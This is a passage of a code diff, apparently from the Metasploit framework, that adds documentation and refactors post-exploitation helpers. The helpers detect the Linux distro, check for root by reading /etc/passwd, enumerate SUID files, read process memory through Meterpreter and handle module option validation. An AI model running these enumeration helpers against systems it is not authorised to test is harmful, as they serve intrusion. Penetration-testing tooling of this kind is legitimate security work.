cmd_exec('id').to_s.include? 'context='
|
||||
@@ -292,6 +319,7 @@ module Msf
|
||||
# Returns true if SELinux is in enforcing mode
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def selinux_enforcing?
|
||||
return false unless selinux_installed?
|
||||
@@ -310,6 +338,7 @@ module Msf
|
||||
# Returns true if Yama is installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def yama_installed?
|
||||
ptrace_scope = read_file('/proc/sys/kernel/yama/ptrace_scope').to_s.strip
|
||||
@@ -324,6 +353,7 @@ module Msf
|
||||
# Returns true if Yama is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def yama_enabled?
|
||||
return false unless yama_installed?
|
||||
@@ -332,7 +362,7 @@ module Msf
|
||||
rescue StandardError
|
||||
raise 'Could not determine Yama status'
|
||||
end
|
||||
end # Kernel
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
module Packages
|
||||
include ::Msf::Post::Linux::System
|
||||
|
||||
#
|
||||
# Determines the version of an installed package
|
||||
#
|
||||
# @param package The package name to check for
|
||||
# @return [Rex::Version] nil if OS is not supported or package is not installed
|
||||
#
|
||||
def installed_package_version(package)
|
||||
info = get_sysinfo
|
||||
|
||||
if ['debian', 'ubuntu'].include?(info[:distro])
|
||||
package_version = cmd_exec("dpkg-query -f='${Version}' -W #{package}")
|
||||
# The "no package" error is language based, but "dpkg-query:" starting is not
|
||||
return nil if package_version.start_with?('dpkg-query:')
|
||||
|
||||
package_version = package_version.gsub('+', '.')
|
||||
return Rex::Version.new(package_version)
|
||||
elsif ['redhat', 'fedora', 'centos'].include?(info[:distro])
|
||||
package_version = cmd_exec("rpm -q #{package}")
|
||||
return nil unless package_version.start_with?(package)
|
||||
|
||||
# dnf-4.18.0-2.fc39.noarch
|
||||
# remove package name at the beginning
|
||||
package_version = package_version.split("#{package}-")[1]
|
||||
# remove arch at the end
|
||||
package_version = package_version.sub(/\.[^.]*$/, '')
|
||||
return Rex::Version.new(package_version)
|
||||
elsif ['solaris', 'oracle', 'freebsd'].include?(info[:distro])
|
||||
package_version = cmd_exec("pkg info #{package}")
|
||||
return nil unless package_version.include?('Version')
|
||||
|
||||
package_version = package_version.match(/Version\s+:\s+(.+)/)[1]
|
||||
return Rex::Version.new(package_version)
|
||||
elsif ['gentoo'].include?(info[:distro])
|
||||
# https://wiki.gentoo.org/wiki/Equery
|
||||
if command_exists?('equery')
|
||||
package_version = cmd_exec("equery --quiet list #{package}")
|
||||
# https://wiki.gentoo.org/wiki/Q_applets
|
||||
elsif command_exists?('qlist')
|
||||
package_version = cmd_exec("qlist -Iv #{package}")
|
||||
else
|
||||
vprint_error("installed_package_version couldn't find qlist and equery on gentoo")
|
||||
return nil
|
||||
end
|
||||
return nil if package_version.strip.empty?
|
||||
|
||||
package_version = package_version.split('/')[1]
|
||||
# make gcc-1.1 to 1.1
|
||||
package_version = package_version.sub(/.*?-/, '')
|
||||
return Rex::Version.new(package_version)
|
||||
elsif ['arch'].include?(info[:distro])
|
||||
package_version = cmd_exec("pacman -Qi #{package}")
|
||||
return nil unless package_version.include?('Version')
|
||||
|
||||
package_version = package_version.match(/Version\s+:\s+(.+)/)[1]
|
||||
return Rex::Version.new(package_version)
|
||||
else
|
||||
vprint_error("installed_package_version is being called on an unsupported OS: #{info[:distro]}")
|
||||
end
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
+178
-105
@@ -1,125 +1,198 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
module Priv
|
||||
include ::Msf::Post::Common
|
||||
class Post
|
||||
module Linux
|
||||
module Priv
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
|
||||
#
|
||||
# Returns true if running as root, false if not.
|
||||
# @return [Boolean]
|
||||
#
|
||||
def is_root?
|
||||
if command_exists?('id')
|
||||
user_id = cmd_exec('id -u')
|
||||
clean_user_id = user_id.to_s.gsub(/[^\d]/, '')
|
||||
if clean_user_id.empty?
|
||||
raise "Could not determine UID: #{user_id.inspect}"
|
||||
end
|
||||
return (clean_user_id == '0')
|
||||
end
|
||||
user = whoami
|
||||
data = cmd_exec('while read line; do echo $line; done </etc/passwd')
|
||||
data.each_line do |line|
|
||||
line = line.split(':')
|
||||
return true if line[0] == user && line[3].to_i == 0
|
||||
end
|
||||
false
|
||||
end
|
||||
#
|
||||
# Returns true if running as root, false if not.
|
||||
#
|
||||
# @return [Boolean]
|
||||
# @raise [RuntimeError] If execution fails.
|
||||
#
|
||||
def is_root?
|
||||
if command_exists?('id')
|
||||
user_id = cmd_exec('id -u')
|
||||
clean_user_id = user_id.to_s.gsub(/[^\d]/, '')
|
||||
if clean_user_id.empty?
|
||||
raise "Could not determine UID: #{user_id.inspect}"
|
||||
end
|
||||
|
||||
#
|
||||
# Multiple functions to simulate native commands added
|
||||
#
|
||||
return (clean_user_id == '0')
|
||||
end
|
||||
user = whoami
|
||||
data = cmd_exec('while read line; do echo $line; done </etc/passwd')
|
||||
data.each_line do |line|
|
||||
line = line.split(':')
|
||||
return true if line[0] == user && line[3].to_i == 0
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def touch_cmd(new_path_file)
|
||||
cmd_exec("> #{new_path_file}")
|
||||
end
|
||||
#
|
||||
# Multiple functions to simulate native commands added
|
||||
#
|
||||
|
||||
def cp_cmd(origin_file, final_file)
|
||||
file_origin = read_file(origin_file)
|
||||
cmd_exec("echo '#{file_origin}' > #{final_file}")
|
||||
end
|
||||
#
|
||||
# Creates an empty file at the specified path using the touch command
|
||||
#
|
||||
# @param new_path_file [String] the path to the new file to be created
|
||||
# @return [String] the output of the command
|
||||
#
|
||||
def touch_cmd(new_path_file)
|
||||
cmd_exec("> #{new_path_file}")
|
||||
end
|
||||
|
||||
def binary_of_pid(pid)
|
||||
binary = read_file("/proc/#{pid}/cmdline")
|
||||
if binary == "" #binary.empty?
|
||||
binary = read_file("/proc/#{pid}/comm")
|
||||
end
|
||||
if binary[-1] == "\n"
|
||||
binary = binary.split("\n")[0]
|
||||
end
|
||||
return binary
|
||||
end
|
||||
#
|
||||
# Copies the content of one file to another using a command execution
|
||||
#
|
||||
# @param origin_file [String] the path to the source file
|
||||
# @param final_file [String] the path to the destination file
|
||||
# @return [String] the output of the command
|
||||
#
|
||||
def cp_cmd(origin_file, final_file)
|
||||
file_origin = read_file(origin_file)
|
||||
cmd_exec("echo '#{file_origin}' > '#{final_file}'")
|
||||
end
|
||||
|
||||
def seq(first, increment, last)
|
||||
result = []
|
||||
(first..last).step(increment) do |i|
|
||||
result.insert(-1, i)
|
||||
end
|
||||
return result
|
||||
end
|
||||
#
|
||||
# Retrieves the binary name of a process given its PID
|
||||
#
|
||||
# @param pid [Integer] the process ID
|
||||
# @return [String] the binary name of the process
|
||||
#
|
||||
def binary_of_pid(pid)
|
||||
binary = read_file("/proc/#{pid}/cmdline")
|
||||
if binary == '' # binary.empty?
|
||||
binary = read_file("/proc/#{pid}/comm")
|
||||
end
|
||||
if binary[-1] == "\n"
|
||||
binary = binary.split("\n")[0]
|
||||
end
|
||||
return binary
|
||||
end
|
||||
|
||||
def wc_cmd(file)
|
||||
[nlines_file(file), nwords_file(file), nchars_file(file), file]
|
||||
end
|
||||
#
|
||||
# Generates a sequence of numbers from `first` to `last` with a given `increment`
|
||||
#
|
||||
# @param first [Integer] the starting number of the sequence
|
||||
# @param increment [Integer] the step increment between each number in the sequence
|
||||
# @param last [Integer] the ending number of the sequence
|
||||
# @return [Array<Integer>] an array containing the sequence of numbers
|
||||
#
|
||||
def seq(first, increment, last)
|
||||
result = []
|
||||
(first..last).step(increment) do |i|
|
||||
result.insert(-1, i)
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
def nchars_file(file)
|
||||
nchars = 0
|
||||
lines = read_file(file).split("\n")
|
||||
nchars = lines.length()
|
||||
lines.each do |line|
|
||||
line.gsub(/[ ]/, ' ' => '')
|
||||
nchars_line = line.length()
|
||||
nchars = nchars + nchars_line
|
||||
end
|
||||
return nchars
|
||||
end
|
||||
#
|
||||
# Returns the number of lines, words, and characters in a file
|
||||
#
|
||||
# @param file [String] the path to the file
|
||||
# @return [Array<Integer, Integer, Integer, String>] an array containing the number of lines, words, characters, and the file name
|
||||
#
|
||||
def wc_cmd(file)
|
||||
[nlines_file(file), nwords_file(file), nchars_file(file), file]
|
||||
end
|
||||
|
||||
def nwords_file(file)
|
||||
nwords = 0
|
||||
lines = read_file(file).split("\n")
|
||||
lines.each do |line|
|
||||
words = line.split(" ")
|
||||
nwords_line = words.length()
|
||||
nwords = nwords + nwords_line
|
||||
end
|
||||
return nwords
|
||||
end
|
||||
#
|
||||
# Returns the number of characters in a file
|
||||
#
|
||||
# @param file [String] the path to the file
|
||||
# @return [Integer] the number of characters in the file
|
||||
#
|
||||
def nchars_file(file)
|
||||
nchars = 0
|
||||
lines = read_file(file).split("\n")
|
||||
nchars = lines.length
|
||||
lines.each do |line|
|
||||
line.gsub(/ /, ' ' => '')
|
||||
nchars_line = line.length
|
||||
nchars += nchars_line
|
||||
end
|
||||
nchars
|
||||
end
|
||||
|
||||
def nlines_file(file)
|
||||
lines = read_file(file).split("\n")
|
||||
nlines = lines.length()
|
||||
return nlines
|
||||
end
|
||||
#
|
||||
# Returns the number of words in a file
|
||||
#
|
||||
# @param file [String] the path to the file
|
||||
# @return [Integer] the number of words in the file
|
||||
#
|
||||
def nwords_file(file)
|
||||
nwords = 0
|
||||
lines = read_file(file).split("\n")
|
||||
lines.each do |line|
|
||||
words = line.split(' ')
|
||||
nwords_line = words.length
|
||||
nwords += nwords_line
|
||||
end
|
||||
return nwords
|
||||
end
|
||||
|
||||
def head_cmd(file, nlines)
|
||||
lines = read_file(file).split("\n")
|
||||
result = lines[0..nlines-1]
|
||||
return result
|
||||
end
|
||||
#
|
||||
# Returns the number of lines in a file
|
||||
#
|
||||
# @param file [String] the path to the file
|
||||
# @return [Integer] the number of lines in the file
|
||||
#
|
||||
def nlines_file(file)
|
||||
lines = read_file(file).split("\n")
|
||||
nlines = lines.length
|
||||
return nlines
|
||||
end
|
||||
|
||||
def tail_cmd(file, nlines)
|
||||
lines = read_file(file).split("\n")
|
||||
result = lines[-1*(nlines)..-1]
|
||||
return result
|
||||
end
|
||||
#
|
||||
# Returns the first `n` lines of a file
|
||||
#
|
||||
# @param file [String] the path to the file
|
||||
# @param nlines [Integer] the number of lines to return
|
||||
# @return [Array<String>] an array containing the first `n` lines of the file
|
||||
#
|
||||
def head_cmd(file, nlines)
|
||||
lines = read_file(file).split("\n")
|
||||
result = lines[0..nlines - 1]
|
||||
return result
|
||||
end
|
||||
|
||||
def grep_cmd(file, string)
|
||||
result = []
|
||||
lines = read_file(file).split("\n")
|
||||
#
|
||||
# Returns the last `n` lines of a file
|
||||
#
|
||||
# @param file [String] the path to the file
|
||||
# @param nlines [Integer] the number of lines to return
|
||||
# @return [Array<String>] an array containing the last `n` lines of the file
|
||||
#
|
||||
def tail_cmd(file, nlines)
|
||||
lines = read_file(file).split("\n")
|
||||
result = lines[-1 * nlines..]
|
||||
return result
|
||||
end
|
||||
|
||||
lines.each do |line|
|
||||
if line.include?(string)
|
||||
result.insert(-1, line)
|
||||
#
|
||||
# Searches for a specific string in a file and returns the lines that contain the string
|
||||
#
|
||||
# @param file [String] the path to the file
|
||||
# @param string [String] the string to search for
|
||||
# @return [Array<String>] an array containing the lines that include the specified string
|
||||
#
|
||||
def grep_cmd(file, string)
|
||||
result = []
|
||||
lines = read_file(file).split("\n")
|
||||
|
||||
lines.each do |line|
|
||||
if line.include?(string)
|
||||
result.insert(-1, line)
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
|
||||
end # Priv
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
||||
end
|
||||
|
||||
@@ -1,36 +1,42 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
class Post
|
||||
module Linux
|
||||
module Process
|
||||
include Msf::Post::Process
|
||||
|
||||
module Process
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_sys_process_attach
|
||||
stdapi_sys_process_memory_read
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
include Msf::Post::Process
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_sys_process_attach
|
||||
stdapi_sys_process_memory_read
|
||||
]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
#
|
||||
# Reads a specified length of memory from a given base address of a process
|
||||
#
|
||||
# @param base_address [Integer] the starting address to read from
|
||||
# @param length [Integer] the number of bytes to read
|
||||
# @param pid [Integer] the process ID (optional, default is 0)
|
||||
# @return [String] the read memory content
|
||||
#
|
||||
def mem_read(base_address, length, pid: 0)
|
||||
proc_id = session.sys.process.open(pid, PROCESS_READ)
|
||||
proc_id.memory.read(base_address, length)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def mem_read(base_address, length, pid: 0)
|
||||
proc_id = session.sys.process.open(pid, PROCESS_READ)
|
||||
data = proc_id.memory.read(base_address, length)
|
||||
end
|
||||
|
||||
end # Process
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
||||
end
|
||||
|
||||
@@ -7,6 +7,7 @@ module Msf
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
include ::Msf::Post::Unix
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
#
|
||||
# Returns a Hash containing Distribution Name, Version and Kernel Information
|
||||
@@ -14,12 +15,38 @@ module Msf
|
||||
def get_sysinfo
|
||||
system_data = {}
|
||||
etc_files = cmd_exec('ls /etc').split
|
||||
|
||||
kernel_version = cmd_exec('uname -a')
|
||||
system_data[:kernel] = kernel_version
|
||||
|
||||
# Debian
|
||||
if etc_files.include?('debian_version')
|
||||
# The order of these checks is important.
|
||||
# * Checks for Arch-based distros must be performed before the check for Arch.
|
||||
# * Checks for Antix-based distros must be performed before the check for Antix.
|
||||
# * Checks for Debian-based distros must be performed before the check for Debian.
|
||||
# * Checks for distros which ship with '/etc/system-release' must be performed
|
||||
# prior to the 'system-release' check.
|
||||
# * Checks for distros which ship with '/etc/issue' must be performed
|
||||
# prior to the Generic 'issue' check.
|
||||
|
||||
# MX Linux
|
||||
if etc_files.include?('mx-version')
|
||||
version = read_file('/etc/mx-version').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'mxlinux'
|
||||
system_data[:version] = version
|
||||
|
||||
# AntiX
|
||||
elsif etc_files.include?('antix-version')
|
||||
version = read_file('/etc/antix-version').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'antix'
|
||||
system_data[:version] = version
|
||||
|
||||
# OpenMandriva
|
||||
elsif etc_files.include?('openmandriva-release')
|
||||
version = read_file('/etc/openmandriva-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'openmandriva'
|
||||
system_data[:version] = version
|
||||
|
||||
# Debian / Ubuntu (and forks)
|
||||
elsif etc_files.include?('debian_version')
|
||||
version = read_file('/etc/issue').gsub(/\n|\\n|\\l/, '').strip
|
||||
if kernel_version =~ /Ubuntu/
|
||||
system_data[:distro] = 'ubuntu'
|
||||
@@ -64,6 +91,12 @@ module Msf
|
||||
system_data[:distro] = 'redhat'
|
||||
system_data[:version] = version
|
||||
|
||||
# Manjaro
|
||||
elsif etc_files.include?('manjaro-release')
|
||||
version = read_file('/etc/manjaro-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
system_data[:distro] = 'manjaro'
|
||||
system_data[:version] = version
|
||||
|
||||
# Arch
|
||||
elsif etc_files.include?('arch-release')
|
||||
version = read_file('/etc/arch-release').gsub(/\n|\\n|\\l/, '').strip
|
||||
@@ -132,8 +165,10 @@ module Msf
|
||||
# Gathers all SUID files on the filesystem.
|
||||
# NOTE: This uses the Linux `find` command. It will most likely take a while to get all files.
|
||||
# Consider specifying a more narrow find path.
|
||||
#
|
||||
# @param findpath The path on the system to start searching
|
||||
# @return [Array]
|
||||
#
|
||||
def get_suid_files(findpath = '/')
|
||||
cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n").delete_if { |i| i.include? 'Permission denied' }
|
||||
rescue StandardError
|
||||
@@ -142,7 +177,9 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets the $PATH environment variable
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_path
|
||||
cmd_exec('echo $PATH').to_s
|
||||
rescue StandardError
|
||||
@@ -151,6 +188,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets basic information about the system's CPU.
|
||||
#
|
||||
# @return [Hash]
|
||||
#
|
||||
def get_cpu_info
|
||||
@@ -171,6 +209,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets the hostname of the system
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_hostname
|
||||
@@ -188,6 +227,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets the name of the current shell
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_shell_name
|
||||
@@ -202,6 +242,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets the pid of the current shell
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_shell_pid
|
||||
@@ -210,6 +251,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Checks if the system has gcc installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def has_gcc?
|
||||
@@ -220,6 +262,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Checks if the system has clang installed
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def has_clang?
|
||||
@@ -230,6 +273,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Checks if `file_path` is mounted on a noexec mount point
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def noexec?(file_path)
|
||||
@@ -245,6 +289,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Checks if `file_path` is mounted on a nosuid mount point
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def nosuid?(file_path)
|
||||
@@ -260,6 +305,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Checks for protected hardlinks on the system
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def protected_hardlinks?
|
||||
@@ -270,6 +316,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Checks for protected symlinks on the system
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def protected_symlinks?
|
||||
@@ -280,18 +327,22 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets the version of glibc
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def glibc_version
|
||||
raise 'glibc is not installed' unless command_exists? 'ldd'
|
||||
begin
|
||||
|
||||
cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
|
||||
rescue StandardError
|
||||
raise 'Could not determine glibc version'
|
||||
cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
|
||||
rescue StandardError
|
||||
raise 'Could not determine glibc version'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the mount point of `filepath`
|
||||
#
|
||||
# @param [String] filepath The filepath to get the mount point
|
||||
# @return [String]
|
||||
#
|
||||
@@ -303,6 +354,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets all the IP directions of the device
|
||||
#
|
||||
# @return [Array]
|
||||
#
|
||||
def ips
|
||||
@@ -323,6 +375,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets all the interfaces of the device
|
||||
#
|
||||
# @return [Array]
|
||||
#
|
||||
def interfaces
|
||||
@@ -338,6 +391,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Gets all the macs of the device
|
||||
#
|
||||
# @return [Array]
|
||||
#
|
||||
def macs
|
||||
@@ -354,9 +408,10 @@ module Msf
|
||||
result
|
||||
end
|
||||
|
||||
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
|
||||
#
|
||||
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
|
||||
# Gets all the listening tcp ports in the device
|
||||
#
|
||||
# @return [Array]
|
||||
#
|
||||
def listen_tcp_ports
|
||||
@@ -377,8 +432,8 @@ module Msf
|
||||
end
|
||||
|
||||
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
|
||||
#
|
||||
# Gets all the listening udp ports in the device
|
||||
#
|
||||
# @return [Array]
|
||||
#
|
||||
def listen_udp_ports
|
||||
@@ -400,6 +455,7 @@ module Msf
|
||||
|
||||
#
|
||||
# Determine if system is a container
|
||||
#
|
||||
# @return [String]
|
||||
#
|
||||
def get_container_type
|
||||
@@ -421,6 +477,8 @@ module Msf
|
||||
return 'Docker'
|
||||
when /lxc/i
|
||||
return 'LXC'
|
||||
else
|
||||
return 'Unknown'
|
||||
end
|
||||
else
|
||||
# Check for the "container" environment variable
|
||||
@@ -443,11 +501,7 @@ module Msf
|
||||
end
|
||||
container_type
|
||||
end
|
||||
# System
|
||||
end
|
||||
# Linux
|
||||
end
|
||||
# Post
|
||||
end
|
||||
# Msf
|
||||
end
|
||||
|
||||
@@ -187,9 +187,17 @@ module Session
|
||||
# exploit instance. Store references from and to the exploit module.
|
||||
#
|
||||
def set_from_exploit(m)
|
||||
target_host = nil
|
||||
unless m.target_host.blank?
|
||||
# only propagate the target_host value if it's exactly 1 host
|
||||
if (rw = Rex::Socket::RangeWalker.new(m.target_host)).length == 1
|
||||
target_host = rw.next_ip
|
||||
end
|
||||
end
|
||||
|
||||
self.via = { 'Exploit' => m.fullname }
|
||||
self.via['Payload'] = ('payload/' + m.datastore['PAYLOAD'].to_s) if m.datastore['PAYLOAD']
|
||||
self.target_host = Rex::Socket.getaddress(m.target_host) if (m.target_host.to_s.strip.length > 0)
|
||||
self.target_host = target_host
|
||||
self.target_port = m.target_port if (m.target_port.to_i != 0)
|
||||
self.workspace = m.workspace
|
||||
self.username = m.owner
|
||||
|
||||
@@ -60,16 +60,9 @@ class Auxiliary
|
||||
rhosts = mod_with_opts.datastore['RHOSTS']
|
||||
rhosts_walker = Msf::RhostsWalker.new(rhosts, mod_with_opts.datastore)
|
||||
|
||||
begin
|
||||
mod_with_opts.validate
|
||||
rescue ::Msf::OptionValidateError => e
|
||||
::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e)
|
||||
return false
|
||||
end
|
||||
|
||||
begin
|
||||
# Check if this is a scanner module or doesn't target remote hosts
|
||||
if rhosts.blank? || mod.class.included_modules.include?(Msf::Auxiliary::Scanner)
|
||||
if rhosts.blank? || mod.class.included_modules.include?(Msf::Auxiliary::MultipleTargetHosts)
|
||||
mod_with_opts.run_simple(
|
||||
'Action' => args[:action],
|
||||
'LocalInput' => driver.input,
|
||||
@@ -79,6 +72,8 @@ class Auxiliary
|
||||
)
|
||||
# For multi target attempts with non-scanner modules.
|
||||
else
|
||||
# When RHOSTS is split, the validation changes slightly, so perform it reports the host the validation failed for
|
||||
mod_with_opts.validate
|
||||
rhosts_walker.each do |datastore|
|
||||
mod_with_opts = mod.replicant
|
||||
mod_with_opts.datastore.merge!(datastore)
|
||||
@@ -102,15 +97,14 @@ class Auxiliary
|
||||
rescue ::Interrupt
|
||||
print_error("Auxiliary interrupted by the console user")
|
||||
rescue ::Msf::OptionValidateError => e
|
||||
::Msf::Ui::Formatter::OptionValidateError.print_error(running_mod, e)
|
||||
::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e)
|
||||
return false
|
||||
rescue ::Exception => e
|
||||
print_error("Auxiliary failed: #{e.class} #{e}")
|
||||
if(e.class.to_s != 'Msf::OptionValidateError')
|
||||
print_error("Call stack:")
|
||||
e.backtrace.each do |line|
|
||||
break if line =~ /lib.msf.base.simple/
|
||||
print_error(" #{line}")
|
||||
end
|
||||
print_error("Call stack:")
|
||||
e.backtrace.each do |line|
|
||||
break if line =~ /lib.msf.base.simple/
|
||||
print_error(" #{line}")
|
||||
end
|
||||
|
||||
return false
|
||||
|
||||
@@ -40,9 +40,9 @@ class Exploit
|
||||
#
|
||||
# Launches an exploitation single attempt.
|
||||
#
|
||||
def exploit_single(mod, opts)
|
||||
def exploit_single(mod, opts, &block)
|
||||
begin
|
||||
session = mod.exploit_simple(opts)
|
||||
session = mod.exploit_simple(opts, &block)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Msf::OptionValidateError => e
|
||||
@@ -136,21 +136,16 @@ class Exploit
|
||||
'Quiet' => args[:quiet] || false
|
||||
}
|
||||
|
||||
begin
|
||||
mod_with_opts.validate
|
||||
rescue ::Msf::OptionValidateError => e
|
||||
::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e)
|
||||
return false
|
||||
end
|
||||
|
||||
driver.run_single('reload_lib -a') if args[:reload_libs]
|
||||
|
||||
if rhosts && has_rhosts_option
|
||||
if rhosts && has_rhosts_option && !mod.class.included_modules.include?(Msf::Auxiliary::MultipleTargetHosts)
|
||||
rhosts_walker = Msf::RhostsWalker.new(rhosts, mod_with_opts.datastore)
|
||||
rhosts_walker_count = rhosts_walker.count
|
||||
rhosts_walker = rhosts_walker.to_enum
|
||||
end
|
||||
|
||||
run_mod = nil
|
||||
|
||||
# For multiple targets exploit attempts.
|
||||
if rhosts_walker && rhosts_walker_count > 1
|
||||
opts[:multi] = true
|
||||
@@ -163,7 +158,7 @@ class Exploit
|
||||
# Catch the interrupt exception to stop the whole module during exploit
|
||||
begin
|
||||
print_status("Exploiting target #{datastore['RHOSTS']}")
|
||||
session = exploit_single(nmod, opts)
|
||||
session = exploit_single(nmod, opts) { |mod| run_mod = mod }
|
||||
rescue ::Interrupt
|
||||
print_status("Stopping exploiting current target #{datastore['RHOSTS']}...")
|
||||
print_status("Control-C again to force quit exploiting all targets.")
|
||||
@@ -185,7 +180,7 @@ class Exploit
|
||||
if rhosts_walker && rhosts_walker_count == 1
|
||||
nmod.datastore.merge!(rhosts_walker.next)
|
||||
end
|
||||
session = exploit_single(nmod, opts)
|
||||
session = exploit_single(nmod, opts) { |mod| run_mod = mod }
|
||||
# If we were given a session, let's see what we can do with it
|
||||
if session
|
||||
any_session = true
|
||||
@@ -211,7 +206,7 @@ class Exploit
|
||||
end
|
||||
|
||||
# If we didn't get any session and exploit ended launch.
|
||||
unless any_session
|
||||
unless any_session || run_mod&.error.is_a?(Msf::OptionValidateError)
|
||||
# If we didn't run a payload handler for this exploit it doesn't
|
||||
# make sense to complain to the user that we didn't get a session
|
||||
unless mod_with_opts.datastore["DisablePayloadHandler"]
|
||||
|
||||
@@ -380,7 +380,7 @@ module Msf
|
||||
print_line
|
||||
print_line "Keywords:"
|
||||
{
|
||||
'adapter' => 'Modules with a matching adater reference name',
|
||||
'adapter' => 'Modules with a matching adapter reference name',
|
||||
'aka' => 'Modules with a matching AKA (also-known-as) name',
|
||||
'author' => 'Modules written by this author',
|
||||
'arch' => 'Modules affecting this architecture',
|
||||
|
||||
+3
-1
@@ -298,7 +298,9 @@ class MsfAutoload
|
||||
'uds_errors' => 'UDSErrors',
|
||||
'smb_hash_capture' => 'SMBHashCapture',
|
||||
'rex_ntlm' => 'RexNTLM',
|
||||
'teamcity' => 'TeamCity'
|
||||
'teamcity' => 'TeamCity',
|
||||
'nist_sp_800_38f' => 'NIST_SP_800_38f',
|
||||
'nist_sp_800_108' => 'NIST_SP_800_108'
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
module Rex::Crypto::KeyDerivation
|
||||
require 'rex/crypto/key_derivation/nist_sp_800_108'
|
||||
end
|
||||
@@ -0,0 +1,45 @@
|
||||
require 'openssl'
|
||||
|
||||
module Rex::Crypto::KeyDerivation::NIST_SP_800_108
|
||||
|
||||
# Generates key material using the NIST SP 800-108 R1 counter mode KDF.
|
||||
#
|
||||
# @param length [Integer] The desired output length of each key in bytes.
|
||||
# @param prf [Proc] The pseudorandom function used for key derivation.
|
||||
# @param keys [Integer] The number of derived keys to generate.
|
||||
# @param label [String] Optional label to distinguish different derivations.
|
||||
# @param context [String] Optional context to bind the key derivation to specific information.
|
||||
#
|
||||
# @return [Array<String>] An array of derived keys as binary strings, regardless of the number requested.
|
||||
def self.counter(length, prf, keys: 1, label: ''.b, context: ''.b)
|
||||
key_block = ''
|
||||
|
||||
counter = 0
|
||||
while key_block.length < (length * keys)
|
||||
counter += 1
|
||||
raise RangeError.new("counter overflow") if counter > 0xffffffff
|
||||
|
||||
info = [ counter ].pack('L>') + label + "\x00".b + context + [ length * keys * 8 ].pack('L>')
|
||||
key_block << prf.call(info)
|
||||
